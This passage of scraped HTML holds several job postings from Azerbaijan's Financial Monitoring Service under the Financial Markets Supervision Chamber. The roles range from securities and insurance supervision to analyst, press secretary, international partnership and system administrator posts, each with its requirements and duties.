field;<strong></strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFinancial markets,\r\ntheir working principles, knowledge of investment securities and derivative\r\nfinancial instruments;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nKnowledge of capital\r\nadequacy and risk management;<strong></strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nKnowledge of local\r\nlegislation in the field of securities;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nKnowledge of money\r\nlaundering and combating the financing of terrorism;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAbility to analyze\r\nfinancial statements and forecasts;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFluent in\r\nAzerbaijan and English languages;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nKnowledge of IT\r\nresources and Office Programs;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nOrganizational and\r\nentrepreneurial skills;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nProblem - solving\r\nand decision - making Skills;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAnalytical and\r\ncommunication skills;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAbility to work\r\nintensively and in a collective;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCandidates with\r\nCFA and FRM Degrees are preffered;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\"><strong>Job Description:</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPersons who are\r\nlicensed securities market and participates in control of the central\r\ndepository;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSecurities given\r\nto individuals who have a license to market a special permit (license) is\r\nparticipating in the cancellation of the proposals;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThe persons making\r\nstatements that are licensed securities market, their analysis and the relevant\r\nmeasures in accordance with legislation and takes part in the inspections;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTakes part in\r\ntaking appropriate measures against persons who are owners of the cash obtained\r\nthrough crime in the market.</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\"><br></p><br><hr noshade=\"noshade\"><br><br><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\"><br></p>  <p style=\"\" margin-left:49.5pt;text-align:center\"=\"\"><strong>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Financial Monitoring Service under Financial\r\nMarkets Supervision Chamber</strong></p><p><strong>Position: Press\r\nSecretary</strong></p>\r\n<p><strong>Requirements:</strong></p>\r\n<p style=\"\" text-align:justify;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHigher\r\nEducation in Humanities/Economics;</p>\r\n<p style=\"\" text-align:justify;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n5 years\r\nof work experience in the same field;</p>\r\n<p style=\"\" text-align:justify;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nKnowledge\r\nin the field of Macroeconomics;</p>\r\n<p style=\"\" text-align:justify;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nBe informed\r\nabout the state’s economic and financial situation and problems;</p>\r\n<p style=\"\" text-align:justify;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAbility\r\nto work with the media, knowledge of the structure and functions of the media;</p>\r\n<p style=\"\" text-align:justify;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPresentation\r\nand Communication Skills;</p>\r\n<p style=\"\" text-align:justify;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFluent\r\nin Azerbaijan and English languages;</p>\r\n<p style=\"\" text-align:justify;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCommunication\r\nand Team Work Skills; </p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWork\r\nskills in IT resources and Office Programs;</p>\r\n<p><strong>Job Description </strong></p>\r\n<p style=\"\" text-align:justify;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDissemination\r\nof informationto the media and ensure the usefulness of the\r\nanalysis;</p>\r\n<p style=\"\" text-align:justify;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nQuaterly\r\nand annual monitoring of the chamber’s function materials in the media;</p>\r\n<p style=\"\" text-align:justify;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWeb\r\nPage Management controls;</p>\r\n<p style=\"\" text-align:justify;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nManagement\r\nof&nbsp; providing information regarding the\r\nrequirements of the chamber leader, preparation of the summaries regarding\r\nimportant events in the world and country and about updates in the financial\r\nsystems;</p>\r\n<p style=\"\" text-align:justify;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nOrganisation\r\nof the media conference and briefings.</p>  <p style=\"\" margin-left:49.5pt;text-align:center\"=\"\"><br></p><br><hr noshade=\"noshade\"><br><br><p style=\"\" margin-left:49.5pt;text-align:center\"=\"\"><br></p><p style=\"\" margin-left:49.5pt;text-align:center\"=\"\"><strong>&nbsp; &nbsp; &nbsp; &nbsp; Financial Monitoring Service under Financial\r\nMarkets Supervision Chamber</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>Position: Head Specialist in the field of Insurance\r\nMarket Management</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\"><strong>Requirements:</strong></p>\r\n<ul type=\"disc\">\r\n <li style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\">Higher Education in\r\n     Economics/Audit/Accounting;</li>\r\n <li style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\">2 years of work experience in the same field\r\n     (candidates with work experience in international audit companies are\r\n     preferable);</li>\r\n <li style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\">Preference is given to those with experience\r\n     working with 1C software;</li>\r\n <li style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\">Knowledge of tax legislation;</li>\r\n <li style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\">Knowledge of IFRS;</li>\r\n <li style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\">The ability to conduct analytical and\r\n     mathematical calculation;</li>\r\n <li style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\">Fluent in Azerbaijani and English;</li>\r\n <li style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\">Able to achieve the perfect coordination of\r\n     work in terms of time and performance; </li>\r\n <li style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\">Ability to pay attention to accuracy and\r\n     details at work;</li>\r\n <li style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\">Creative approach to work, to have new ideas\r\n     and the ability to stimulate new ideas;</li>\r\n <li style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\">Theoretical and practical knowledge and\r\n     research to learn new skills;</li>\r\n <li style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\">Candidates with work experience in the field\r\n     of insuarance aree preferable;</li>\r\n <li style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\">Ability to work with IT resources and Office\r\n     Programs;</li></ul>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\"><strong>Job Description:</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.25in;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nInsurers,\r\nreinsurers and insurance intermediaries of inspections;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.25in;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPreparation of the\r\ncontrolling reports, inspections and audit results;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.25in;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nGoing on business\r\ntrips according the requirements of the work.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\"><strong>&nbsp;</strong></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\"><strong><br></strong></p>  <p style=\"\" margin-left:49.5pt;text-align:center\"=\"\"><strong>&nbsp; &nbsp; &nbsp;&nbsp;Financial Monitoring Service under Financial\r\nMarkets Supervision Chamber</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>Position: Analyst – Department of Strategic\r\nAnalysis and Risk Management</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>Requirements:</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHigher Education\r\nin Economics;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n2 years of work\r\nexperience in the same field;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThe ability to\r\nconduct analytical and mathematical calculation;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCreative approach\r\nto work, to have new ideas and the ability to stimulate new ideas;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTheoretical and\r\npractical knowledge and research to learn new skills;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTo achieve the\r\nperfect coordination of the work in terms of time and performance; </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAccuracy and\r\nability to pay attention to details;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAbility to work\r\nwith IT Specialists and Office Programs;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>Job Description:</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nExamines the risks\r\nto financial stability and provides suggestions for possible risks that may\r\narise;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nConducts research,\r\nbuilds models and make suggestions on Financial Markets;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nEconomic policies,\r\nincluding fiscal and monetary policy, financial markets and the possible impact\r\nscenarios to explore channels ;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFinancial markets,\r\nmacro-economic shock scenarios for conducting stress tests to determine the\r\nranks.</p>\r\n<p>&nbsp;</p><hr noshade=\"noshade\"><br><p><br></p>  <p style=\"\" margin-left:49.5pt;text-align:center\"=\"\"><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Financial Monitoring Service under Financial\r\nMarkets Supervision Chamber</strong></p>\r\n<p style=\"\" margin-left:31.5pt;text-align:center;line-height:normal\"\"=\"\"><strong>Position: Head Analyst in the commercial operations\r\ndepartment of the financial market supervision department</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>Requirements:</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHigher Education\r\nin Economics, Management, Finance and Audit;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n3-5 years of work\r\nexperience in the same field;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFluent in\r\nAzerbaijan and English languages;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFinancial markets,\r\ntheir working principles, knowledge of investment securities and derivative\r\nfinancial instruments;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nKnowledge of\r\nfinancial statement analysis and risk management;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nBe informed and\r\nhigher knowledge of the local legislation in the field of investment\r\nsecurities, especially in the market corruption; </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nKnowledge of\r\ninternational legislation in the field of investment securities (Mifid, MAD,\r\nTransparency Directive, the principles of Basel and etc.);</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nKnowledge of money\r\nlaundering and combating the financing of terrorism;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nProfessional\r\nCommunication and Presentation Skills;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAnalythical\r\nthinking, problem solving and intensive work skills;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nKnowledge of IT\r\nresources and Office Programs;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCandidates with\r\nthe CFA and FRM certifications and the knowledge of statistical analysis and\r\nprogramming (VBA, SQL, MATLAB, Python) are preferable;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.25in;text-align:justify;line-height:normal\"\"=\"\"><strong>Job Description:</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCommercial\r\noperations in accordance with international standards proposals on preparation\r\nof regulatory and methodological framework;<strong></strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSupport for the\r\npreparation of strategic and operational plans of the department&nbsp; in order to ensure the implementation of the\r\ntasks within it;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThe trading of\r\nsecurities and other financial instruments shall be pro-active and retrospective\r\ncontrol staff, conducting analytical studies, analysis of possible risks that\r\nmay arise on the basis of proposals on mitiqasiyası;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThe investment\r\ncompany is analyzing the reports submitted by the stock exchange and the depository;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAbuse in the\r\nsecurities market, as well as to prevent price manipulation and the use of\r\nInside information shall take appropriate measures in order to close deals;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nImplementing a\r\nunified record of resource issuers;</p><p>\r\nVerification and\r\ndisclosure of information by issuers in implementing an integrated information\r\nresource.</p>  <br><hr noshade=\"noshade\"><br><br><p style=\"\" margin-left:49.5pt;text-align:center\"=\"\"><br></p><p style=\"\" margin-left:49.5pt;text-align:center\"=\"\"><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; Financial Monitoring Service under Financial\r\nMarkets Supervision Chamber</strong></p><p><strong>Position: Sector\r\nDirector/ Head Specialist of the International Partnership Sector</strong></p>\r\n<p><strong>Requirements:</strong></p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHigher\r\nEducation in Economics/Finance/International Relations;</p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n3-5\r\nyears of work experience in the same field;</p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFluent\r\nin Azerbaijan and English languages;</p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nKnowledge\r\non the structure and current status of the state’s financial sector;</p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nProject\r\nManagement knowledge;</p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWork\r\nskills in IT resources and Office Programs; </p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHigh\r\nlevel skills in Communication;</p>\r\n<p><strong>Job Description:</strong></p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPreparation\r\nof the chamber’s international strategy;</p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nExpansion\r\nof relations with international financial institutions and donor organizations;</p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPreparation\r\nof the technical partnership projects;</p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nInternational\r\nprojects management.</p>  <p style=\"\" margin-left:49.5pt;text-align:center\"=\"\"><strong></strong></p><hr noshade=\"noshade\"><strong><br></strong><br><p style=\"\" margin-left:49.5pt;text-align:center\"=\"\"><strong><br></strong></p><p style=\"\" margin-left:49.5pt;text-align:center\"=\"\"><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Financial Monitoring Service under Financial\r\nMarkets Supervision Chamber</strong></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\"><strong>&nbsp;Position: System Adminstrator – Department of Information Technologies</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\"><strong>Requirements:</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHigher Education\r\nin IT;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nKnowledge of\r\nModern program and technical platforms including information security;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPractical\r\nknowledge on software operations, and local computer networking management;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDatabase\r\nmanagement systems, modern office software and operating systems, and system\r\nadministration knowledge;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n3-5 years of\r\nexperience in IT;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFluent in\r\nAzerbaijani, Intermediate in English and Russian;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCommunication,\r\nanalytical thinking and daily simple explanation of technical issues;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>Job Description:</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nChamber of network\r\nservers and operating systems, reliable, secure and uninterrupted\r\nimplementation of the activities of members;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nParticipate in the\r\nsupervision of the testing of software and hardware;</p>\r\n<p style=\"\" 